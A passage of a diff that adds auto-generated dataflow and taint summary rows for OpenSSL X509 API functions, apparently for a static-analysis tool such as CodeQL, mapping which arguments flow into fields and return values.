"value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[2]", "Argument[*0].Field[*subject_cert]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[3]", "Argument[*0].Field[*subject_req]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[4]", "Argument[*0].Field[*crl]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[5]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_issuer_pkey", "(X509V3_CTX *,EVP_PKEY *)", "", "Argument[*1]", "Argument[*0].Field[**issuer_pkey]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_issuer_pkey", "(X509V3_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*issuer_pkey]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_nconf", "(X509V3_CTX *,CONF *)", "", "Argument[*1]", "Argument[*0].Field[**db]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_nconf", "(X509V3_CTX *,CONF *)", "", "Argument[1]", "Argument[*0].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_INFO_free", "(X509_ACERT_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_INFO_free", "(X509_ACERT_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_ISSUER_V2FORM_free", "(X509_ACERT_ISSUER_V2FORM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_ISSUER_V2FORM_free", "(X509_ACERT_ISSUER_V2FORM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_add1_attr", "(X509_ACERT *,X509_ATTRIBUTE *)", "", "Argument[*0].Field[**acinfo].Field[*attributes]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_add1_attr", "(X509_ACERT *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_add1_attr_by_NID", "(X509_ACERT *,int,int,const void *,int)", "", "Argument[*0].Field[**acinfo].Field[*attributes]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_add1_attr_by_OBJ", "(X509_ACERT *,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[*0].Field[**acinfo].Field[*attributes]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_add1_attr_by_txt", "(X509_ACERT *,const char *,int,const unsigned char *,int)", "", "Argument[*0].Field[**acinfo].Field[*attributes]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_add1_ext_i2d", "(X509_ACERT *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_add_attr_nconf", "(CONF *,const char *,X509_ACERT *)", "", "Argument[*2].Field[**acinfo].Field[*attributes]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_delete_attr", "(X509_ACERT *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_delete_attr", "(X509_ACERT *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_dup", "(const X509_ACERT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_dup", "(const X509_ACERT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ACERT_dup", "(const X509_ACERT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ACERT_dup", "(const X509_ACERT *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ACERT_dup", "(const X509_ACERT *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ACERT_free", "(X509_ACERT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_free", "(X509_ACERT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_get0_extensions", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_extensions", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_info_sigalg", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[*signature]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_issuerUID", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[**issuerUID]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_issuerUID", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[*issuerUID]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_serialNumber", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[*serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_signature", "(const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0].Field[*sig_alg]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_signature", "(const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0].Field[*signature]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get_attr", "(const X509_ACERT *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_get_attr_by_NID", "(const X509_ACERT *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_get_attr_by_OBJ", "(const X509_ACERT *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_get_ext_d2i", "(const X509_ACERT *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_print", "(BIO *,X509_ACERT *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_print_ex", "(BIO *,X509_ACERT *,unsigned long,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_set1_issuerName", "(X509_ACERT *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_sign", "(X509_ACERT *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ACERT_sign_ctx", "(X509_ACERT *,EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_ALGOR_cmp", "(const X509_ALGOR *,const X509_ALGOR *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_cmp", "(const X509_ALGOR *,const X509_ALGOR *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_copy", "(X509_ALGOR *,const X509_ALGOR *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_dup", "(const X509_ALGOR *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ALGOR_dup", "(const X509_ALGOR *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_dup", "(const X509_ALGOR *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_dup", "(const X509_ALGOR *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_dup", "(const X509_ALGOR *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_free", "(X509_ALGOR *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ALGOR_free", "(X509_ALGOR *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_ALGOR_get0", "(const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *)", "", "Argument[*3]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_get0", "(const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_get0", "(const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_set0", "(X509_ALGOR *,ASN1_OBJECT *,int,void *)", "", "Argument[*1]", "Argument[*0].Field[**algorithm]", "value", "dfc-generated"] + - ["", "", True, "X509_ALGOR_set0", "(X509_ALGOR *,ASN1_OBJECT *,int,void *)", "", "Argument[1]", "Argument[*0].Field[*algorithm]", "value", "dfc-generated"] + - ["", "", True, "X509_ALGOR_set0", "(X509_ALGOR *,ASN1_OBJECT *,int,void *)", "", "Argument[2]", "Argument[*0].Field[**parameter].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_ALGOR_set_md", "(X509_ALGOR *,const EVP_MD *)", "", "Argument[*1].Field[*type]", "Argument[*0].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "X509_ALGOR_set_md", "(X509_ALGOR *,const EVP_MD *)", "", "Argument[*1].Field[*type]", "Argument[*0].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_count", "(const X509_ATTRIBUTE *)", "", "Argument[*0].Field[**set].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[**object]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[*object]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[1]", "Argument[**0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[1]", "ReturnValue[*].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_dup", "(const X509_ATTRIBUTE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_dup", "(const X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_dup", "(const X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_dup", "(const X509_ATTRIBUTE *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_dup", "(const X509_ATTRIBUTE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_free", "(X509_ATTRIBUTE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_free", "(X509_ATTRIBUTE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_get0_object", "(X509_ATTRIBUTE *)", "", "Argument[*0].Field[**object]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_get0_object", "(X509_ATTRIBUTE *)", "", "Argument[*0].Field[*object]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_get0_type", "(X509_ATTRIBUTE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_set1_object", "(X509_ATTRIBUTE *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_set1_object", "(X509_ATTRIBUTE *,const ASN1_OBJECT *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CERT_AUX_free", "(X509_CERT_AUX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CERT_AUX_free", "(X509_CERT_AUX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_CINF_free", "(X509_CINF *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CINF_free", "(X509_CINF *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_INFO_free", "(X509_CRL_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_INFO_free", "(X509_CRL_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_METHOD_new", "(..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "ReturnValue[*].Field[*crl_init]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_METHOD_new", "(..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "ReturnValue[*].Field[*crl_free]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_METHOD_new", "(..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "ReturnValue[*].Field[*crl_lookup]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_METHOD_new", "(..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[3]", "ReturnValue[*].Field[*crl_verify]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_add1_ext_i2d", "(X509_CRL *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509_CRL_add_ext", "(X509_CRL *,X509_EXTENSION *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_CRL_add_ext", "(X509_CRL *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_CRL_cmp", "(const X509_CRL *,const X509_CRL *)", "", "Argument[*1].Field[*crl].Field[**issuer]", "Argument[*1].Field[*crl].Field[*issuer]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_delete_ext", "(X509_CRL *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_delete_ext", "(X509_CRL *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_diff", "(X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_digest", "(const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_digest", "(const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_dup", "(const X509_CRL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_dup", "(const X509_CRL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_CRL_dup", "(const X509_CRL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_dup", "(const X509_CRL *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_CRL_dup", "(const X509_CRL *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_free", "(X509_CRL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_free", "(X509_CRL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_get0_extensions", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_extensions", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_lastUpdate", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**lastUpdate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_lastUpdate", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*lastUpdate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_nextUpdate", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**nextUpdate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_nextUpdate", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*nextUpdate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_signature", "(const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0].Field[*sig_alg]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_signature", "(const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0].Field[*signature]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_REVOKED", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**revoked]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_REVOKED", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*revoked]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_ext", "(const X509_CRL *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_get_ext_by_NID", "(const X509_CRL *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_get_ext_by_OBJ", "(const X509_CRL *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_get_ext_by_critical", "(const X509_CRL *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_get_ext_d2i", "(const X509_CRL *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_get_issuer", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**issuer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_issuer", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_lastUpdate", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**lastUpdate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_lastUpdate", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*lastUpdate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_meth_data", "(X509_CRL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_CRL_get_meth_data", "(X509_CRL *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_get_meth_data", "(X509_CRL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_get_nextUpdate", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**nextUpdate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get_nextUpdate", "(X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*nextUpdate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "X509_CRL_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "X509_CRL_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_load_http", "(const char *,BIO *,BIO *,int)", "", "Argument[1]", "Argument[*2].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_print", "(BIO *,X509_CRL *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_print_ex", "(BIO *,X509_CRL *,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_set_issuer_name", "(X509_CRL *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_CRL_set_meth_data", "(X509_CRL *,void *)", "", "Argument[**1]", "Argument[*0].Field[***meth_data]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_set_meth_data", "(X509_CRL *,void *)", "", "Argument[*1]", "Argument[*0].Field[**meth_data]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_set_meth_data", "(X509_CRL *,void *)", "", "Argument[1]", "Argument[*0].Field[*meth_data]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_sign", "(X509_CRL *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_CRL_sign_ctx", "(X509_CRL *,EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_NID", "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[1]", "Argument[**0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_create_by_OBJ", "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)", "", "Argument[1]", "ReturnValue[*].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_EXTENSION_dup", "(const X509_EXTENSION 